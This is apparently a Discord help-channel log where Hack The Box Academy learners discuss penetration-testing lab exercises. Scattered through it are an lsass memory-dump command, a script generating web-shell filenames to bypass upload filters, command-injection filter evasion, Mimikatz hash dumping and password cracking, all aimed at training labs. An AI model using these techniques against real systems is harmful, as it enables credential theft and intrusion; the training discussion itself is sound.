You can DM me

[dense lava]

done ty

[warped plank]

Guys, having a mare here with Driect Prompt Injection, tried via three instances, I cannot tunnel the connection back via SSH...

Any advice?

https://academy.hackthebox.com/module/297/section/3413

[eager spindle]

Does The Live Engagement's foothold in Module: Shells & Payloads have not a browser?

[left lintel]

I'm pretty sure you can just use xfreerdp for this if I recall correctly

[eager spindle]

I know, I have used xfreerdp to enter a linux system, but does not have a browser in it

[left lintel]

Oh yeah I remember that you have to run firefox through the terminal

[eager spindle]

Oh my god, thank you. At first I thought there was no browser, and I kept using curl to submit files, but it didn't work.

I'm such a fool

[charred night]

Guys anyone tried file transfer module. In that to upload a zip file via rdp but how to download that file in attack machine because i tried use both curl and wget there is no internet connection
So how to do it

[icy plume]

Hi Community
I cant get VNC creds in CAPE skill assesment lab, I make user Arturo as local administrator on SUPPORT but cant find vnc cred, please give some hints

[charred night]

Actually i use browser machine zip file cannot be downloaf

[icy plume]

?

[charred night]

Yes

[blissful estuary]

Hello I'm basically so stuck with this exercise in the command injection module, the first one worked right away but the w\ho\am\i is exhuasting me i tried to base64 encode it and then use the bash command in the post request to decode it didnt work only returns the ip, i tried $(tr) to convert [ into a \ also didnt work i need a clue what can i use to bypass the filter for this

[vagrant turret]

Oh my god, the password attacks module was so brutal. Finally done it

[icy plume]

Hi Community
I cant get VNC creds in CAPE skill assesment lab, I make user Arturo as local administrator on SUPPORT but cant find vnc cred, please give some hints

[blissful estuary]

yeah it worked with single quotes

but i thought the exercise is to obfuscate the \

and i couldnt do that

it either gives me invalid input which means the filter got it

or just excutes the ip part

its not a flag im just practicing this excersise

it says try to excute those and if the filter gets u try to bypass it

i couldnt bypass it with anything i tried to hide or convert the \

for the whoami command

its w\ho\am\i

you mean replace the \ with spaces ?

yeah that worked with me i guess my brain is just stuck with you have to bypass with w\ho\am\i

@cunning canopytysm

[snow gazelle]

Hello! I need some help with the File Inclusion skill assessment. So I basically got to the point where I'm in the Admin Panel and only need to use Log Poisoning in the access.log. But when I try the payload that adds a malicious script to the User-Agent header, it just doesn't give me back anything. I believe the app crashes whenever I try the payload. How am I suppose to solve it if the app crashes every time I try to use to final payload to get the flag?

[charred night]

Ok

[cobalt frigate]

Hi everyone i have one question from
https://academy.hackthebox.com/module/110/section/1055

third question

[icy plume]

Hi Community
I cant get VNC creds in CAPE skill assesment lab, I make user Arturo as local administrator on SUPPORT but cant find vnc cred, please give some hints

https://academy.hackthebox.com/module/263/section/3095

5th question

[cobalt frigate]

can anyone please assist me?

[supple dragon]

you can DM me

[silent isle]

Hello everyone! Could you please tell me where to find the SSH password for svc_workstations?
https://academy.hackthebox.com/module/147/section/1657

For a question:
Check Carlos' crontab, and look for keytabs to which Carlos has access. Try to get the credentials of the user svc_workstations and use them to authenticate via SSH. Submit the flag.txt in svc_workstations' home directory.

[cerulean bramble]

Ok, for those of you having trouble getting to .90 model accuracy in the Applications of AI in Infosec skills assessment, go back to the Fundamentals of AI module and refamiliarize yourself with the learning algorithms that are good for binary classification.

[cunning nimbus]

On the Bypassing Blacklisted Commands module, for the Bypassing Blacklisted Commands, I do not see the flag.txt file in the user's home directory that I found, is anyone else having an issue with that?

[gray yacht]

This is more appropriate for #1318239802931286066

[cunning briar]

Does anyone have notes for Networking Level 6?

[acoustic owl]

https://en.wikipedia.org/wiki/OSI_model#Layer_6:_Presentation_layer

[sand rose]

Hello guys. I'm trying to do the set up for bloodhound from the active directory module about it (I forget the exact name of it, but the Tier 3 one)... and Bloodhound is being an absolutely stubborn horse to get working. I've tried what the module says, I've tried going through the specter ops manual and it just is refusing to work. I've even updated the etc file for bloodhound with the password and its still just... hating me. Anyone able to help? What is the easiest way to do it?

[delicate adder]

I used msfconsole to bruteforce an SMB service and tried to log in with all 4 credentials found but they don't work

when I try to log in I get this error

[cunning briar]

@acoustic owl thanks 🐰

[terse bloom]

Hello people, a quick question regarding the Password Attacks module. I cannot dump the lsass.exe with the command provided in the module: PS C:\Windows\system32> rundll32 C:\windows\system32\comsvcs.dll, MiniDump <PID> C:\lsass.dmp full, only using the task manager. I double checked the PID of lsass.exe. There is no AV on target system. CMD doesn't output anything, as if it reads the command, but quickly finishes with no result

[safe star]

is that the correct share name?

[terse bloom]

Yes, i launched cmd as admin

I mean, i completed the task but i won't rest until I can extract via shell

How can i upload screenshots

Can I dm u the screenshot?

[terse bloom]

it's actually written there which shell must be used i'm just blind

[dapper mason]

any one alble to lend a hand Information Gathering - Web Edition
Page 19
Skills Assessment
After crawling the inlanefreight.htb domain on the target system, what is the email address you have found? Respond with the full email, e.g., [e-mail].

[fathom pendant]

Try dumping to c:\users\public or a temp directory

[fathom pendant]

Subdomains

[terse bloom]

solved

[dapper mason]

cool let me try

[eager spindle]

I'm having trouble with the live engagement module in the shell & payload section. The second host's webpage allows for file uploads, but only images. After uploading, the files are changed to .png or other image extensions. I've also tried intercepting them with Burp Suite, but it doesn't seem to change the content-type. I've looked at some hints, but I don't know which module in MSF to use. Any advice?

https://academy.hackthebox.com/module/115/section/1139

[gray yacht]

So which question are your working on?

[eager spindle]

Exploit the blog site and establish a shell session with the target OS. Submit the contents of /customscripts/flag.txt this，sir！

[gray yacht]

The previous question tells you which MSF payload and it should already be on the provided Foothold.

[opal shuttle]

hii guys i am stuck at dns enumerations..i tried all what i can do..now its going off from my head

any type of help will be appriciated

[eager spindle]

I have made a little breakthrough. I used whatweb to find that the website has jquery, so I used unix/webapp/jquery_file_upload, but now I keep getting the error Exploit aborted due to failure: not-found: Could not find target

[gray yacht]

So you cannot find the target name? It's a foothold, so enumerate it some and you might find the host name somewhere hosts names are often used with IPs.

[eager spindle]

I know the target name, but I don't know how to fill in the targeturi

[gray yacht]

You can DM what you have set for options.

[opal shuttle]

you can dm me..dont waana overload ricky

i can help you with that

[obtuse verge]

try type?

[teal arrow]

Yup, now it's being displayed. Thanks

[silent isle]

Hello everyone! Could you please tell me where to find the SSH password for svc_workstations?
https://academy.hackthebox.com/module/147/section/1657

For a question:
Check Carlos' crontab, and look for keytabs to which Carlos has access. Try to get the credentials of the user svc_workstations and use them to authenticate via SSH. Submit the flag.txt in svc_workstations' home directory.

[ivory crest]

Yes.

[gray yacht]

Did you enumerate the crontab?

[cloud urchin]

@crude halo Please take care not to post content from modules above tier 0

@teal arrow Please take care not to post content from modules above tier 0

[silent isle]

Yes, I found that .sh file and impersonated that user, but SSH is asking for a password, and I can't find it

[gray yacht]

I'd look around the directory that .sh file is located and see if there is anything related to the user you are trying to abuse.

[spark remnant]

I have a genuine question. what modules in htb academy would yall say helped the most? I’m trying to get better at the machines but I bump into so many dead ends and end up looking at the write ups. any pointers would be appreciated

[earnest rapids]

Good day guys
I'm new here
Hope I'm welcome 🤗🤗

[west arrow]

Where can I get the password to the sample report in "Documenting & Reporting"
Or am i meant to complete the whole module before they give it to me or something

[gray yacht]

I'd say if you can identify the root cause behind your dead ends, that might help you determine what modules might aid you in increasing your results with the boxes.

[gray yacht]

You mean the one from Resources?

[west arrow]

yes

[gray yacht]

It's in the Introduction to Documentation and Reporting section, paragraph heading About this Module, first paragraph. If you still can't find it you can DM.

[ashen harness]

Hi everyone, I have a huge question. I have extensive knowledge in the field, but I hardly put it into practice, especially on the web. I don't know what I should do. What I lack most is the hacker mentality and experience. I want to work with bugbounty, but here at htb, from what I've seen, there are practically no labs focused on the web. What should I do? I feel stuck

[west arrow]

got it, thanks a lot ricky, i can tell that i'm not liking this module as much the last one

[clear seal]

Anyone else have issues with the lab in the first lesson of the xss module?

[silent isle]

As an option, I'll take a look, thanks!

[gray yacht]

If this doesn't get you anywhere, I'd look over the Keytab Extract section again.

[cloud urchin]

Hi, welcome. Please read the #rules and follow the instructions in #welcome so you can access places like #general where a greeting is more appropriate. This channel is dedicated for discussion of the various modules on Academy only.

[silent isle]

Okey, thanks!

[rustic sage]

What distro am I supposed to use for my vm when doing modules?

[clear seal]

Kali or Parrot

[cloud urchin]

Better to ask somewhere like #general or #hacker-lounge. You'll need to follow the instructions in #welcome to gain access.

[cloud urchin]

Whatever you want

[rustic sage]

Well, I'm not sure that helps much when I have no idea what the difference between different distros is. To chatgpt I go. 😭

[clear seal]

So, no one want to answer my question about the first lab in the XSS module? The document. Cookie payload is not working and I tried it on both my own VM and the pwnbox…

[earnest rapids]

Thanks 🙏🙏👍

[earnest rapids]

I noticed I can't send message in the #general sir

[clear seal]

Nvm I got it

[cloud urchin]

Yep.. that's why I told you how to do it in the message you replied to.

[earnest rapids]

I guess I have to login my HTB account on my phone
It's on my laptop 💻 before but I think it need to be on my phone too

[earnest rapids]

Another question....

Pls
Why did my name change ?

[cloud urchin]

Because you didn't follow the instructions in #welcome to verify your account. Your name will be corrected once you verify.

[earnest rapids]

Okay copy.
Thanks 🙏👍🙏👍🙏👍

[ashen harness]

Tysm bro

[rich obsidian]

Im running into this interesting thing with the footprinting smb module. I am trying to find more specific version information on the Samba service running on the server, but I can't get anything more specific than 4 and i need 4.x.x. I have used every tool and read the output. I honestly thought NMAP would have handled it with a -sV -sC scan of port 139,445 or even -A. I tried both still can't get the full version information.

I would very much also be open if one of the other tools could illicit more service information, smbclient, rpcclient, samrdump.py, enum4linux-ng, and netexec. I have read their man pages (or help descriptions if it didnt have man page) and no flags seem to be capable of giving me what I need

[rich obsidian]

Dude never mind, I was right, I had to turn on parrot OS and it gave me exactly what I needed with exactly the scan I thought I needed. Is vpning into htb gonna cost me information like that on the exam?

[pure dove]

Did you found the answer for this?

[dry atlas]

if I have a question about one of the questions in a module/section or just general guidance on smth, is it best to ask it here or in the community help section?

[fathom pendant]

module questions are better asked here; discord also has a search feature you can utilize to potentially find answers to your question if you look back enough

just don't spoil anything above t0; there's a pinned general guide for asking the questions

[tulip minnow]

Hi can someone assit me
im facing an issue when using systemctl start ssh
it gives me two users , mrb3n and cry0l1t3 and when I use the password HTB_@cademy_stdnt!
it dosent work i tried it on both users Linux Fundamentals , module 18 section 73

[dry atlas]

perfect, will keep that in mind, thank you

[fathom pendant]

typically HTB_@cademy_stdnt! is the pw for the htb-student user

[tulip minnow]

oh? so what would be the appropriate pass tro use?

[fathom pendant]

why are you trying to start ssh anyway?

also it helps to know what the section name is

[tulip minnow]

Service and Process Management

trying to follow the instructions while I read I trry to do it myself

I even tried to do it outside the vpn but it didnt work

[fathom pendant]

in order to ssh as a user, you need to have that user's password

since you don't have their passwords, you're not required to ssh into them

[tulip minnow]

oo okkay

[fathom pendant]

also, don't consider the examples "instructions"

they are just that, examples

the examples for starting an ssh server would be done on your machine, not on the target machine

[midnight solstice]

does a walkthrough for medium level HTB modules exist

[fathom pendant]

if it's above tier 0; it breaks the terms of service

the only "walkthroughs" that are official are the ones provided in the annual plans

[rustic sage]

Guys with xfreerdp3 how do i copy and paste texts to my pc? using +clipboard doesn't let me ctrl+c and v the flag

xfreerdp3 /u:Administrator /p:'HTB_@cad3my_lab_W1n10_r00t!@0' /v:10.129.210.98 /timeout:9999 /dynamic-resolution +clipboard

I have this as my command but it doesn't let me copy and paste

[cloud urchin]

probably related to your hypervisor. i use vmware, works fine with vmwaretools installed.

[fathom pendant]

works fine with me with virtbox

[heady hare]

Guys! I was finally able to elevate privileges and run the Mimikatz tool on DC01. However, when I copy the NTLM hash to the HTB Lab, it indicates that it's invalid. What's going on?

To prove what I am saying:

[left lintel]

For which section? It maybe just wants the NT hash?

[heady hare]

This is the Skills Assessment - Password Attacks Module. This is the question --> What is the NTLM hash of NEXURA\Administrator?

[left lintel]

DM me the hash you’re submitting

[heady hare]

OK

[left lintel]

Nvm that is the right format, if anyone who’s done the updated module could help him out

[gray yacht]

You can DM if you'd like.

[wet arrow]

Is anyone up for discussing File Upload?

I successfully uploaded a file by setting the content type and naming it shell.pHp.jpg. However, when I try to execute it, I only get a message saying, "cannot be displayed because it contains errors."

I suspect the server either doesn’t handle .php.jpg files as executable PHP or the upload directory doesn’t allow code execution. Unfortunately, I don’t have access to confirm this. I've also tried all the filenames from the script below:

for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
    for ext in '.php' '.phps'; do
        echo "shell$char$ext.jpg" >> wordlist.txt
        echo "shell$ext$char.jpg" >> wordlist.txt
        echo "shell.jpg$char$ext" >> wordlist.txt
        echo "shell.jpg$ext$char" >> wordlist.txt
    done
done    

Any ideas that can help me please?

[strong acorn]

guys can someone help me with something
Quantum-Safe on the labs platform doesn't have a file to download or an oracle to communicate with

[cloud urchin]

is that a prolab? this channel is for modules on academy. you'll need to follow the instructions in #welcome to gain access to the appropriate channel.

[strong acorn]

yea I know I am sorry for that but I can't find something related to labs

it's in challenges and it's not VIP

[cloud urchin]

#challenges

[strong acorn]

No Access

[cloud urchin]

I know, that's why i told you how to get access

[glacial remnant]

struggling on AD Enumeration & Attacks - Skills Assessment Part II

Crack this user's password hash and submit the cleartext password as your answer.

i have the users C*** NTLMv2 hash however trying to crack with hashcat -m 5600 keeps on getting exhausted with rockyou and a few other of the wordlists. any wordlist work for others?

[strong acorn]

Thank you bro

[hollow kernel]

Are You add some modules of ad in password attacks? Is an interesting module , is not easy

[rustic sage]

https://academy.hackthebox.com/module/214/section/2285

I found it, but the answer isn't correct. May i dm the answer to someone who has actually completed it to see if i was right

im not sure what im putting in wrong, answer is in "commandLine: " for mimikatz. i got the full but idk whats going on

[cloud urchin]

if it's not accepting the answer then it isn't the right answer

[rustic sage]

Can i dm you what i got? Maybe im inputting it wrong and dont realize but I know I got the answer

[cloud urchin]

I haven't done that module, but if you have the right answer it'll accept it

[cloud urchin]

@trim pivot Please take care not to post content from modules above tier 0, especially spoilers for skill assessments

[trim pivot]

Hi, sorry about that—I didn’t mean to spoil anything. I didn’t realize what I shared might be considered too detailed, since it takes quite a few steps to get to that point. I was mainly trying to understand why my approach with Meterpreter and Ligolo didn’t work, and whether the spooler service being stopped is intentional or part of the challenge design

[opal shuttle]

@heady hare dm me if u still need help

[opal shuttle]

Have tried banner grabbing through netcat

[opal shuttle]

Try on another service if sunning

[opal shuttle]

What are you using?pwnbox or vm

[rustic sage]

vm

[opal shuttle]

Try passing the hash, if still not successfull they use rules...

[opal shuttle]

Main os is windows and in that u run linux and in linux u r using rdp ? Am i right?

[rustic sage]

yes

im in RDP through kali vm

[opal shuttle]

So first copy from rdp and paste it in your kali, then again copy from kali...then you will be able to paste in windows

[rustic sage]

1 second

[rustic sage]

oh that could work, i'll try soon but im having a problem

with some module atm

[opal shuttle]

Ohkk

[opal shuttle]

Which one, if i have done that maybe i would be able to help

[rustic sage]

https://academy.hackthebox.com/module/214/section/2285

2nd one

[unique basalt]

hy guys i need help i am doing Attacking Common service - Attacking FTP in this i am able to download user file but not able to download password file please help me out

[opal shuttle]

Dm me

Battery low i will be back after charging my phone

In 30 40 mins

[silver ocean]

need help please:

proxychains4 xfreerdp3 /v:172.16.5.19 /u:victor /p:pass@123 /cert:ignore /sec:tls

the window opens but unable to login need help: https://academy.hackthebox.com/module/158/section/1426

[cloud urchin]

try wrapping the password in single quotes

[silver ocean]

no progress with this command: proxychains4 xfreerdp /v:172.16.5.19 /u:victor /p:'pass@123' /cert:ignore /sec:tls

I also tried to manually login in the rdp....no progress

however when I use port forwarding concept for a single rdp port it works...Idk why this behaviour

[opal shuttle]

I hope i was able to help you

[obsidian schooner]

hey im stuck in skill assessment for LLM Output Attack, i got JSON response error a lot. Can anyone help?

[opal shuttle]

Which module

[obsidian schooner]

LLM Output Attack

[opal shuttle]

Ohh i havent done that

[storm elk]

@obsidian schooner - you can dm me if you want (just you, others, please ask permission first)

[silver ocean]

I am unable to find the ports using proxychains nmap....where as in the Module it is mentioned otherwise, need some assistance

┌──(kali㉿kali)-[~/Downloads]
└─$ proxychains nmap -v -Pn -sT 172.16.5.19
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-31 03:16 EDT
Initiating Parallel DNS resolution of 1 host. at 03:16
Completed Parallel DNS resolution of 1 host. at 03:16, 0.15s elapsed
Initiating Connect Scan at 03:16
Scanning 172.16.5.19 [1000 ports]
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 1.00% done; ETC: 03:21 (0:04:57 remaining)
Completed Connect Scan at 03:16, 31.31s elapsed (1000 total ports)
Nmap scan report for 172.16.5.19
Host is up (0.053s latency).
All 1000 scanned ports on 172.16.5.19 are in ignored states.
Not shown: 990 filtered tcp ports (no-response), 10 filtered tcp ports (host-unreach)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 31.48 seconds

link to module: https://academy.hackthebox.com/module/158/section/1426

[fathom pendant]

Try with sudo

[pure dove]

I'm stuck at web-edition skill assessment . Trying to find the hidden admin directory which contains the api key

[silver ocean]

U ARE AWESEOME!!! I was stuck on this for the past 6 hours...Thank you!!!

[opal shuttle]

Hahahaa

I can feel thst

[unique jolt]

its always the simplist stuff ppl forget eh

[silver ocean]

umm just a one thing more please then...ill be on speed

i am using: sudo proxychains4 xfreerdp /v:172.16.5.19 /u:victor /p:'pass@123' /cert:ignore /sec:tls

on the same module...but idk why I am unable to login

[opal shuttle]

Sometimes some tools are not allowed to run as sudo

[silver ocean]

i wasny using sudo...you are absolutelely right on this

[silver ocean]

I also used it without sudo

[opal shuttle]

Yeah

But u cant with sudo

[fathom pendant]

Try resetting the target, changing vpn regions, restarting your vm

[silver ocean]

but still the usern name or password is incorrect the xfreerdp3 automatically assinged username as DC01\victor I also tried using password manully

[fathom pendant]

Otherwise reach out to support

[compact patrol]

https://help.hackthebox.com/en/articles/5987511-contacting-academy-support

[silver ocean]

you mean my approach is right...it might be an error on the box?

[fathom pendant]

The password looks correct, and unless you messed up your config, it should all be right

[silver ocean]

config for?

proxychains?